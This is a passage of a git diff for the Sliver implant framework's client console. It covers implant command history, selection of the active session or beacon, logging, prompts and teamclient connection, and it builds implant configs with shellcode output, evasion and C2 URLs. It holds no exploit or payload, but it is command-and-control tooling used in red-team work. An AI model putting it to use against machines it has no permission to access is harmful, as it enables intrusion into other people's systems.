nil { + return h.items + } + + h.items = history.Commands + + return h.items +} + +// Close closes the implant history stream. +func (h *implantHistory) Close() error { + if h.Stream == nil { + return nil + } + + _, err := h.Stream.CloseAndRecv() + return err +} + +// isTrivialCommand returns true for commands that don't +// need to be saved in a given implant command history. +func isTrivialCommand(cmdline string) bool { + ignoreCmds := map[string]bool{ + "": true, + "background": true, + "history": true, + } + + for key := range ignoreCmds { + if key != "" && strings.HasPrefix(cmdline, key) { + return true + } + } + + ignore, found := ignoreCmds[cmdline] + if !found { + return false + } + + return ignore +} diff --git a/client/console/implant.go b/client/console/implant.go new file mode 100644 index 0000000000..70a626c743 --- /dev/null +++ b/client/console/implant.go @@ -0,0 +1,343 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "fmt" + "strings" + "time" + + "github.com/spf13/cobra" + + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" +) + +type ActiveTarget struct { + session *clientpb.Session + beacon *clientpb.Beacon + observers map[int]Observer + observerID int + con *SliverClient + hist *implantHistory +} + +func newActiveTarget() *ActiveTarget { + at := &ActiveTarget{ + observers: map[int]Observer{}, + observerID: 0, + } + + return at +} + +// GetSession returns the session matching an ID, either by prefix or strictly. +func (con *SliverClient) GetSession(arg string) *clientpb.Session { + sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintWarnf("%s", err) + return nil + } + for _, session := range sessions.GetSessions() { + if session.Name == arg || strings.HasPrefix(session.ID, arg) { + return session + } + } + return nil +} + +// GetBeacon returns the beacon matching an ID, either by prefix or strictly. +func (con *SliverClient) GetBeacon(arg string) *clientpb.Beacon { + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintWarnf("%s", err) + return nil + } + for _, session := range beacons.GetBeacons() { + if session.Name == arg || strings.HasPrefix(session.ID, arg) { + return session + } + } + return nil +} + +// GetSessionsByName - Return all sessions for an Implant by name. +func (con *SliverClient) GetSessionsByName(name string) []*clientpb.Session { + sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err != nil { + fmt.Printf(Warn+"%s\n", err) + return nil + } + matched := []*clientpb.Session{} + for _, session := range sessions.GetSessions() { + if session.Name == name { + matched = append(matched, session) + } + } + return matched +} + +// GetActiveSessionConfig - Get the active sessions's config +// TODO: Switch to query config based on ConfigID. +func (con *SliverClient) GetActiveSessionConfig() *clientpb.ImplantConfig { + session := con.ActiveTarget.GetSession() + if session == nil { + return nil + } + c2s := []*clientpb.ImplantC2{} + c2s = append(c2s, &clientpb.ImplantC2{ + URL: session.GetActiveC2(), + Priority: uint32(0), + }) + config := &clientpb.ImplantConfig{ + ID: session.ID, + GOOS: session.GetOS(), + GOARCH: session.GetArch(), + Debug: true, + Evasion: session.GetEvasion(), + + MaxConnectionErrors: uint32(1000), + ReconnectInterval: int64(60), + Format: clientpb.OutputFormat_SHELLCODE, + IsSharedLib: true, + C2: c2s, + } + return config +} + +// GetHostUUID - Get the Host's UUID (ID in the database) +func (s *ActiveTarget) GetHostUUID() string { + if s.IsSession() { + return s.session.UUID + } else if s.IsBeacon() { + return s.beacon.UUID + } + + return "" +} + +// GetSessionInteractive - Get the active target(s). +func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) { + if s.session == nil && s.beacon == nil { + fmt.Printf(Warn + "Please select a session or beacon via `use`\n") + return nil, nil + } + return s.session, s.beacon +} + +// GetSessionInteractive - Get the active target(s). +func (s *ActiveTarget) Get() (*clientpb.Session, *clientpb.Beacon) { + return s.session, s.beacon +} + +// GetSessionInteractive - GetSessionInteractive the active session. +func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session { + if s.session == nil { + fmt.Printf(Warn + "Please select a session via `use`\n") + return nil + } + return s.session +} + +// GetSession - Same as GetSession() but doesn't print a warning. +func (s *ActiveTarget) GetSession() *clientpb.Session { + return s.session +} + +// GetBeaconInteractive - Get beacon interactive the active session. +func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon { + if s.beacon == nil { + fmt.Printf(Warn + "Please select a beacon via `use`\n") + return nil + } + return s.beacon +} + +// GetBeacon - Same as GetBeacon() but doesn't print a warning. +func (s *ActiveTarget) GetBeacon() *clientpb.Beacon { + return s.beacon +} + +// IsSession - Is the current target a session? +func (s *ActiveTarget) IsSession() bool { + return s.session != nil +} + +// IsBeacon - Is the current target a beacon? +func (s *ActiveTarget) IsBeacon() bool { + return s.beacon != nil +} + +// AddObserver - Observers to notify when the active session changes. +func (s *ActiveTarget) AddObserver(observer Observer) int { + s.observerID++ + s.observers[s.observerID] = observer + return s.observerID +} + +// RemoveObserver removes an observer from the active target. +func (s *ActiveTarget) RemoveObserver(observerID int) { + delete(s.observers, observerID) +} + +// Request prepares a request metadata for the currently active target. +func (s *ActiveTarget) Request(cmd *cobra.Command) *commonpb.Request { + if s.session == nil && s.beacon == nil { + return nil + } + + // One less than the gRPC timeout so that the server should timeout first + timeOutF := int64(defaultTimeout) - 1 + if cmd != nil { + timeOutF, _ = cmd.Flags().GetInt64("timeout") + } + timeout := (int64(time.Second) * timeOutF) - 1 + + req := &commonpb.Request{} + req.Timeout = timeout + + if s.session != nil { + req.Async = false + req.SessionID = s.session.ID + } + if s.beacon != nil { + req.Async = true + req.BeaconID = s.beacon.ID + } + + req.CmdLine = s.con.Args + + return req +} + +// Set - Change the active session. +func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { + if session != nil && beacon != nil { + s.con.PrintErrorf("cannot set both an active beacon and an active session") + return + } + + defer s.con.FilterCommands(s.con.App.ActiveMenu().Command) + + // Backgrounding + if session == nil && beacon == nil { + s.session = nil + s.beacon = nil + for _, observer := range s.observers { + observer(s.session, s.beacon) + } + + if s.con.isCLI { + return + } + + // Switch back to server menu. + if s.con.App.ActiveMenu().Name() == consts.ImplantMenu { + s.con.App.SwitchMenu(consts.ServerMenu) + } + + return + } + + // Foreground + if session != nil { + s.session = session + s.beacon = nil + for _, observer := range s.observers { + observer(s.session, s.beacon) + } + } else if beacon != nil { + s.beacon = beacon + s.session = nil + for _, observer := range s.observers { + observer(s.session, s.beacon) + } + } + + // Update menus, prompts and commands + if s.con.App.ActiveMenu().Name() != consts.ImplantMenu { + s.con.App.SwitchMenu(consts.ImplantMenu) + } +} + +// Background - Background the active session. +func (s *ActiveTarget) Background() { + defer s.con.App.ShowCommands() + + s.session = nil + s.beacon = nil + for _, observer := range s.observers { + observer(nil, nil) + } + + // Switch back to server menu. + if !s.con.isCLI && s.con.App.ActiveMenu().Name() == consts.ImplantMenu { + s.con.App.SwitchMenu(consts.ServerMenu) + } +} + +// Filters returns list of constants describing which types of commands +// should NOT be available for the current target, eg. beacon commands if +// the target is a session, Windows commands if the target host is Linux. +func (s *ActiveTarget) Filters() []string { + if s.session == nil && s.beacon == nil { + return nil + } + + filters := make([]string, 0) + + // Target type. + switch { + case s.session != nil: + session := s.session + + // Forbid all beacon-only commands. + filters = append(filters, consts.BeaconCmdsFilter) + + // Operating system + if session.OS != "windows" { + filters = append(filters, consts.WindowsCmdsFilter) + } + + // C2 stack + if session.Transport != "wg" { + filters = append(filters, consts.WireguardCmdsFilter) + } + + case s.beacon != nil: + beacon := s.beacon + + // Forbid all session-only commands. + filters = append(filters, consts.SessionCmdsFilter) + + // Operating system + if beacon.OS != "windows" { + filters = append(filters, consts.WindowsCmdsFilter) + } + + // C2 stack + if beacon.Transport != "wg" { + filters = append(filters, consts.WireguardCmdsFilter) + } + } + + return filters +} diff --git a/client/console/log.go b/client/console/log.go index 9a4482c647..c7edba16e7 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -29,10 +29,12 @@ import ( "time" "github.com/moloch--/asciicast" + "github.com/sirupsen/logrus" "golang.org/x/exp/slog" "golang.org/x/term" "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/spin" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" @@ -54,7 +56,7 @@ func (l *ConsoleClientLogger) Write(buf []byte) (int, error) { // ClientLogStream requires a log stream name, used to save the logs // going through this stream in a specific log subdirectory/file. -func (con *SliverConsoleClient) ClientLogStream(name string) (*ConsoleClientLogger, error) { +func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, error) { stream, err := con.Rpc.ClientLog(context.Background()) if err != nil { return nil, err @@ -62,7 +64,59 @@ func (con *SliverConsoleClient) ClientLogStream(name string) (*ConsoleClientLogg return &ConsoleClientLogger{name: name, Stream: stream}, nil } -func (con *SliverConsoleClient) setupLogger(writers ...io.Writer) { +func (con *SliverClient) startClientLog() error { + if !con.Settings.ConsoleLogs { + return nil + } + + // Classic logs. + clientLogFile := getConsoleLogFile() + + clientLogs, err := con.ClientLogStream("json") + if err != nil { + return fmt.Errorf("Could not get client log stream: %w", err) + } + + con.setupLogger(clientLogFile, clientLogs) + + // Asciicast sessions. + // asciicastFile := getConsoleAsciicastFile() + // + // asciicastStream, err := con.ClientLogStream("asciicast") + // if err != nil { + // return fmt.Errorf("Could not get client log stream: %w", err) + // } + // + // err = con.setupAsciicastRecord(asciicastFile, asciicastStream) + + con.closeLogs = append(con.closeLogs, func() { + // Local files + clientLogFile.Close() + // asciicastFile.Close() + + // Server streams. + clientLogs.Stream.CloseAndRecv() + // asciicastStream.Stream.CloseAndRecv() + }) + + return nil +} + +func (con *SliverClient) closeClientStreams() { + if con.closeLogs == nil { + return + } + + defer func() { + con.closeLogs = nil + }() + + for _, closeLog := range con.closeLogs { + closeLog() + } +} + +func (con *SliverClient) setupLogger(writers ...io.Writer) { logWriter := io.MultiWriter(writers...) jsonOptions := &slog.HandlerOptions{ Level: slog.LevelDebug, @@ -73,41 +127,54 @@ func (con *SliverConsoleClient) setupLogger(writers ...io.Writer) { con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.logCommand) } -// logCommand logs non empty commands to the client log file. -func (con *SliverConsoleClient) logCommand(args []string) ([]string, error) { - if len(args) == 0 { - return args, nil - } - logger := slog.New(con.jsonHandler).With(slog.String("type", "command")) - logger.Debug(strings.Join(args, " ")) - return args, nil -} - -func (con *SliverConsoleClient) setupAsciicastRecord(logFile *os.File, server io.Writer) { - x, y, err := term.GetSize(int(os.Stdin.Fd())) +func (con *SliverClient) setupAsciicastRecord(logFile *os.File, server io.Writer) error { + width, height, err := term.GetSize(int(os.Stdin.Fd())) if err != nil { - x, y = 80, 80 + width, height = 80, 80 } // Save the asciicast to the server and a local file. destinations := io.MultiWriter(logFile, server) - encoder := asciicast.NewEncoder(destinations, x, y) - encoder.WriteHeader() + encoder := asciicast.NewEncoder(destinations, width, height) + if err := encoder.WriteHeader(); err != nil { + return err + } // save existing stdout | MultiWriter writes to saved stdout and file out := os.Stdout - mw := io.MultiWriter(out, encoder) + multiOut := io.MultiWriter(out, encoder) // get pipe reader and writer | writes to pipe writer come out pipe reader - r, w, _ := os.Pipe() + read, write, _ := os.Pipe() // replace stdout,stderr with pipe writer | all writes to stdout, // stderr will go through pipe instead (fmt.print, log) - os.Stdout = w - os.Stderr = w + os.Stdout = write + os.Stderr = write + + go io.Copy(multiOut, read) - go io.Copy(mw, r) + return nil +} + +// logCommand logs non empty commands to the client log file. +func (con *SliverClient) logCommand(args []string) ([]string, error) { + if len(args) == 0 { + return args, nil + } + + logger := slog.New(con.jsonHandler).With(slog.String("type", "command")) + + sess, beac := con.ActiveTarget.Get() + if sess != nil { + logger = logger.With(slog.String("implant_id", sess.ID)) + } else if beac != nil { + logger = logger.With(slog.String("implant_id", beac.ID)) + } + + logger.Debug(strings.Join(args, " ")) + return args, nil } func getConsoleLogFile() *os.File { @@ -132,6 +199,31 @@ func getConsoleAsciicastFile() *os.File { return logFile } +// initTeamclientLog returns a logrus logger to be passed to the Sliver +// team.Client for logging all client-side transport/RPC events. +func initTeamclientLog() *logrus.Logger { + logsDir := assets.GetConsoleLogsDir() + dateTime := time.Now().Format("2006-01-02_15-04-05") + logPath := filepath.Join(logsDir, fmt.Sprintf("%s.log", dateTime)) + + textLogger := logrus.New() + textLogger.SetFormatter(&logrus.TextFormatter{}) + + logFile, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + if err != nil { + log.Fatalf("Failed to open log file %s", err) + return textLogger + } + + // Text-format logger, writing to file. + textLogger.Out = logFile + + textLogger.SetLevel(logrus.InfoLevel) + textLogger.SetReportCaller(true) + + return textLogger +} + // // -------------------------- [ Logging ] ----------------------------- // @@ -139,19 +231,22 @@ func getConsoleAsciicastFile() *os.File { // These below will print their output regardless of the currently active menu (server/implant), // while those in the log package tie their output to the current menu. -// PrintAsyncResponse - Print the generic async response information -func (con *SliverConsoleClient) PrintAsyncResponse(resp *commonpb.Response) { +// PrintAsyncResponse - Print the generic async response information. +func (con *SliverClient) PrintAsyncResponse(resp *commonpb.Response) { + defer con.beaconSentStatus[resp.TaskID].Done() + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() + beacon, err := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: resp.BeaconID}) if err != nil { con.PrintWarnf(err.Error()) return } - con.PrintInfof("Tasked beacon %s (%s)", beacon.Name, strings.Split(resp.TaskID, "-")[0]) + con.PrintInfof("Tasked beacon %s (%s)\n", beacon.Name, strings.Split(resp.TaskID, "-")[0]) } -func (con *SliverConsoleClient) Printf(format string, args ...any) { +func (con *SliverClient) Printf(format string, args ...any) { logger := slog.NewLogLogger(con.jsonHandler, slog.LevelInfo) logger.Printf(format, args...) @@ -159,7 +254,7 @@ func (con *SliverConsoleClient) Printf(format string, args ...any) { } // Println prints an output without status and immediately below the last line of output. -func (con *SliverConsoleClient) Println(args ...any) { +func (con *SliverClient) Println(args ...any) { logger := slog.New(con.jsonHandler) format := strings.Repeat("%s", len(args)) logger.Info(fmt.Sprintf(format, args)) @@ -167,7 +262,7 @@ func (con *SliverConsoleClient) Println(args ...any) { } // PrintInfof prints an info message immediately below the last line of output. -func (con *SliverConsoleClient) PrintInfof(format string, args ...any) { +func (con *SliverClient) PrintInfof(format string, args ...any) { logger := slog.New(con.jsonHandler) logger.Info(fmt.Sprintf(format, args...)) @@ -176,7 +271,7 @@ func (con *SliverConsoleClient) PrintInfof(format string, args ...any) { } // PrintSuccessf prints a success message immediately below the last line of output. -func (con *SliverConsoleClient) PrintSuccessf(format string, args ...any) { +func (con *SliverClient) PrintSuccessf(format string, args ...any) { logger := slog.New(con.jsonHandler) logger.Info(fmt.Sprintf(format, args...)) @@ -185,7 +280,7 @@ func (con *SliverConsoleClient) PrintSuccessf(format string, args ...any) { } // PrintWarnf a warning message immediately below the last line of output. -func (con *SliverConsoleClient) PrintWarnf(format string, args ...any) { +func (con *SliverClient) PrintWarnf(format string, args ...any) { logger := slog.New(con.jsonHandler) logger.Warn(fmt.Sprintf(format, args...)) @@ -194,7 +289,7 @@ func (con *SliverConsoleClient) PrintWarnf(format string, args ...any) { } // PrintErrorf prints an error message immediately below the last line of output. -func (con *SliverConsoleClient) PrintErrorf(format string, args ...any) { +func (con *SliverClient) PrintErrorf(format string, args ...any) { logger := slog.New(con.jsonHandler) logger.Error(fmt.Sprintf(format, args...)) @@ -203,7 +298,7 @@ func (con *SliverConsoleClient) PrintErrorf(format string, args ...any) { } // PrintEventInfof prints an info message with a leading/trailing newline for emphasis. -func (con *SliverConsoleClient) PrintEventInfof(format string, args ...any) { +func (con *SliverClient) PrintEventInfof(format string, args ...any) { logger := slog.New(con.jsonHandler).With(slog.String("type", "event")) logger.Info(fmt.Sprintf(format, args...)) @@ -212,7 +307,7 @@ func (con *SliverConsoleClient) PrintEventInfof(format string, args ...any) { } // PrintEventErrorf prints an error message with a leading/trailing newline for emphasis. -func (con *SliverConsoleClient) PrintEventErrorf(format string, args ...any) { +func (con *SliverClient) PrintEventErrorf(format string, args ...any) { logger := slog.New(con.jsonHandler).With(slog.String("type", "event")) logger.Error(fmt.Sprintf(format, args...)) @@ -221,10 +316,15 @@ func (con *SliverConsoleClient) PrintEventErrorf(format string, args ...any) { } // PrintEventSuccessf a success message with a leading/trailing newline for emphasis. -func (con *SliverConsoleClient) PrintEventSuccessf(format string, args ...any) { +func (con *SliverClient) PrintEventSuccessf(format string, args ...any) { logger := slog.New(con.jsonHandler).With(slog.String("type", "event")) logger.Info(fmt.Sprintf(format, args...)) con.printf(Clearln+"\r\n"+Success+format+"\r", args...) } + +// SpinUntil starts a console display spinner in the background (non-blocking) +func (con *SliverClient) SpinUntil(message string, ctrl chan bool) { + go spin.Until(os.Stdout, message, ctrl) +} diff --git a/client/console/readline.go b/client/console/readline.go new file mode 100644 index 0000000000..c08cbcd7ad --- /dev/null +++ b/client/console/readline.go @@ -0,0 +1,268 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "fmt" + "log" + insecureRand "math/rand" + "os" + "os/signal" + "strings" + "syscall" + + "github.com/AlecAivazis/survey/v2" + + "github.com/reeflective/console" + + "github.com/bishopfox/sliver/client/core" + "github.com/bishopfox/sliver/client/version" + "github.com/bishopfox/sliver/protobuf/commonpb" +) + +// GetPrompt returns the prompt string computed for the current context. +func (con *SliverClient) GetPrompt() string { + prompt := Underline + "sliver" + Normal + if con.IsServer { + prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal + } + if con.ActiveTarget.GetSession() != nil { + prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal) + } else if con.ActiveTarget.GetBeacon() != nil { + prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal) + } + prompt += " > " + return prompt +} + +// ExitConfirm tries to exit the Sliver go program. +// It will prompt on stdin for confirmation if: +// - The program is a Sliver server and has active slivers under management. +// - The program is a client and has active port forwarders or SOCKS proxies. +// In any of those cases and without confirm, the function does nothing. +func (con *SliverClient) ExitConfirm() { + fmt.Println("Exiting...") + + if con.IsServer { + sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err != nil { + os.Exit(1) + } + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err != nil { + os.Exit(1) + } + if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) { + con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons)) + confirm := false + prompt := &survey.Confirm{Message: "Are you sure you want to exit?"} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + } + } + + // Client might have portfwds/socks + portfwds := core.Portfwds.List() + servers := core.SocksProxies.List() + + if len(portfwds) > 0 { + con.Printf("There are %d active (bind) port forwarders.\n", len(portfwds)) + } + + if len(servers) > 0 { + con.Printf("There are %d active SOCKS servers.\n", len(servers)) + } + + if len(portfwds)+len(servers) > 0 { + confirm := false + prompt := &survey.Confirm{Message: "Are you sure you want to exit?"} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + } + + os.Exit(0) +} + +// WaitSignal listens for os.Signals and returns when receiving one of the following: +// SIGINT, SIGTERM, SIGQUIT. +// +// This can be used for commands which should block if executed in an exec-once CLI run: +// if the command is ran in the closed-loop console, this function will not monitor signals +// and return immediately. +func (con *SliverClient) WaitSignal() error { + if !con.isCLI { + return nil + } + + con.PrintInfof("(Use Ctrl-C/SIGINT to exit, Ctrl-Z to background)") + + sigchan := make(chan os.Signal, 1) + + signal.Notify( + sigchan, + syscall.SIGINT, + syscall.SIGTERM, + syscall.SIGQUIT, + // syscall.SIGKILL, + ) + + sig := <-sigchan + con.PrintInfof("Received signal %s\n", sig) + + return nil +} + +func (con *SliverClient) waitSignalOrClose() error { + if !con.isCLI { + return nil + } + + sigchan := make(chan os.Signal, 1) + + signal.Notify( + sigchan, + syscall.SIGINT, + syscall.SIGTERM, + syscall.SIGQUIT, + // syscall.SIGKILL, + ) + + if con.waitingResult == nil { + con.waitingResult = make(chan bool) + } + + select { + case sig := <-sigchan: + con.PrintInfof("Received signal %s\n", sig) + case <-con.waitingResult: + con.waitingResult = make(chan bool) + return nil + } + + return nil +} + +// printLogo prints the Sliver console logo. +func (con *SliverClient) printLogo() { + serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) + if err != nil { + log.Fatal(err) + } + dirty := "" + if serverVer.Dirty { + dirty = fmt.Sprintf(" - %sDirty%s", Bold, Normal) + } + serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch) + + logo := asciiLogos[insecureRand.Intn(len(asciiLogos))] + fmt.Println(strings.ReplaceAll(logo, "\n", "\r\n")) + fmt.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))] + "\r") + fmt.Printf(Info+"Server v%s - %s%s\r\n", serverSemVer, serverVer.Commit, dirty) + if version.GitCommit != serverVer.Commit { + fmt.Printf(Info+"Client %s\r\n", version.FullVersion()) + } + fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r") + if serverVer.Major != int32(version.SemanticVersion()[0]) { + fmt.Printf(Warn + "Warning: Client and server may be running incompatible versions.\r\n") + } + con.CheckLastUpdate() +} + +// exitConsole prompts the user for confirmation to exit the console. +func (c *SliverClient) exitConsole(_ *console.Console) { + c.ExitConfirm() +} + +// exitImplantMenu uses the background command to detach from the implant menu. +func (c *SliverClient) exitImplantMenu(_ *console.Console) { + c.ActiveTarget.Background() + c.PrintInfof("Background ...\n") +} + +var abilities = []string{ + "first strike", + "vigilance", + "haste", + "indestructible", + "hexproof", + "deathtouch", + "fear", + "epic", + "ninjitsu", + "recover", + "persist", + "conspire", + "reinforce", + "exalted", + "annihilator", + "infect", + "undying", + "living weapon", + "miracle", + "scavenge", + "cipher", + "evolve", + "dethrone", + "hidden agenda", + "prowess", + "dash", + "exploit", + "renown", + "skulk", + "improvise", + "assist", + "jump-start", +} + +var asciiLogos = []string{ + Red + ` + ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███ + ▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒ + ░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒ + ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄ + ▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒ + ▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░ + ░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░ + ░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░ + ░ ░ ░ ░ ░ ░ ░ ░ +` + Normal, + + Green + ` + ███████╗██╗ ██╗██╗ ██╗███████╗██████╗ + ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗ + ███████╗██║ ██║██║ ██║█████╗ ██████╔╝ + ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗ + ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║ + ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ +` + Normal, + + Bold + Gray + ` +.------..------..------..------..------..------. +|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. | +| :/\: || :/\: || (\/) || :(): || (\/) || :(): | +| :\/: || (__) || :\/: || ()() || :\/: || ()() | +| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R| +` + "`------'`------'`------'`------'`------'`------'" + ` +` + Normal, +} diff --git a/client/console/teamclient.go b/client/console/teamclient.go new file mode 100644 index 0000000000..d8eef5f1a5 --- /dev/null +++ b/client/console/teamclient.go @@ -0,0 +1,265 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + "runtime" + "time" + + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "google.golang.org/grpc" + "google.golang.org/grpc/status" + + "github.com/reeflective/team" + "github.com/reeflective/team/client" + + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/client/core" + "github.com/bishopfox/sliver/client/version" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" +) + +// PreRunConnect is a spf13/cobra-compliant runner function to be included +// in/as any of the runners that such cobra.Commands offer to use. +// +// The function will connect the Sliver teamclient to a remote server, +// register its client RPC interfaces, and start handling events/log streams. +// +// Note that this function will always check if it used as part of a completion +// command execution call, in which case asciicast/logs streaming is disabled. +func (con *SliverClient) PreRunConnect(cmd *cobra.Command, args []string) error { + con.FilterCommands(cmd) + + // If commands are imcompatible with the current requirements. + err := con.App.ActiveMenu().CheckIsAvailable(cmd) + if err != nil { + return err + } + + // Some commands don't need a remote teamserver connection. + if con.isOffline(cmd) { + return nil + } + + // Run any additional pre-run hooks, generally those registered + // by the sliver-server binary to ensure assets are setup, etc. + if err := con.runPreConnectHooks(cmd, args); err != nil { + return err + } + + // Check if the user told us to connect to a specific server + // instead of prompting him with all the configs we found. + clientOpts, err := con.loadConfig(cmd) + if err != nil { + return err + } + + // Let our teamclient connect the transport/RPC stack. + // Note that this uses a sync.Once to ensure we don't + // connect more than once. + if err := con.Teamclient.Connect(clientOpts...); err != nil { + return err + } + + // Register our Sliver client services, and monitor events. + // Also set ourselves up to save our client commands in history. + con.connect(con.dialer.Conn) + + // Never enable asciicasts/logs streaming when this + // client is used to perform completions. Both of these will tinker + // with very low-level IO and very often don't work nice together. + if compCommandCalled(cmd) { + return nil + } + + // Else, initialize our logging/asciicasts streams. + return con.startClientLog() +} + +// loadConfig uses the --config flag (if existing), to override the server remote +// configuration to use, therefore skipping user prompts when there are more than one. +func (con *SliverClient) loadConfig(cmd *cobra.Command) ([]client.Options, error) { + // No overriding + if !cmd.Flags().Changed("config") { + return nil, nil + } + + configPath, err := cmd.Flags().GetString("config") + if err != nil { + return nil, err + } + + // Let the teamclient attempt to read the config. + config, err := con.Teamclient.ReadConfig(configPath) + if err != nil { + return nil, err + } + + // Should not happen, but just in case. + if config == nil { + return nil, errors.New("The teamclient returned no config, but no error") + } + + return append([]client.Options{}, client.WithConfig(config)), nil +} + +// PreRunComplete is a special connection mode which should be +// called in completer functions that need to use the client RPC. +// It is almost equivalent to client.ConnectRun(), but for completions. +// +// If the connection failed, an error is returned along with a completion +// action include the error as a status message, to be returned by completers. +// +// This function is safe to call regardless of the client being used +// as a closed-loop console mode or in an exec-once CLI mode. +func (con *SliverClient) PreRunComplete() (carapace.Action, error) { + if con.Rpc != nil { + return carapace.ActionValues(), nil + } + + // This almost only ever runs teamserver-side pre-runs. + // We don't need to pass a command to this call, since + // it does call hooks that should handle nil commands. + err := con.runPreConnectHooks(nil, nil) + if err != nil { + return carapace.ActionMessage("connection error: %s", err), err + } + + err = con.Teamclient.Connect() + if err != nil { + return carapace.ActionMessage("connection error: %s", err), err + } + + // Register our Sliver client services, and monitor events. + // Also set ourselves up to save our client commands in history. + con.connect(con.dialer.Conn) + + return carapace.ActionValues(), nil +} + +// PostRunDisconnect disconnects the client from its Sliver server, +// closing all its event/log streams and files, then closing the core +// Sliver RPC client connection. This should be ran as a post-runner. +// After this call, the client can reconnect should it want to. +func (con *SliverClient) PostRunDisconnect(cmd *cobra.Command, args []string) error { + con.closeClientStreams() + + // Close the RPC client connection. + return con.Teamclient.Disconnect() +} + +// Users returns a list of all users registered with the app teamserver. +// If the gRPC teamclient is not connected or does not have an RPC client, +// an ErrNoRPC is returned. +func (con *SliverClient) Users() (users []team.User, err error) { + if con.Rpc == nil { + return nil, errors.New("No Sliver client RPC") + } + + res, err := con.Rpc.GetUsers(context.Background(), &commonpb.Empty{}) + if err != nil { + return nil, con.UnwrapServerErr(err) + } + + for _, user := range res.GetUsers() { + users = append(users, team.User{ + Name: user.Name, + Online: user.Online, + LastSeen: time.Unix(user.LastSeen, 0), + }) + } + + return +} + +// VersionClient implements team.Client.VersionClient() interface method, overriding +// the default teamclient version output to use our Makefile-prepared one. +func (con *SliverClient) VersionClient() (v team.Version, err error) { + dirty := version.GitDirty != "" + semVer := version.SemanticVersion() + compiled, _ := version.Compiled() + return team.Version{ + Major: int32(semVer[0]), + Minor: int32(semVer[1]), + Patch: int32(semVer[2]), + 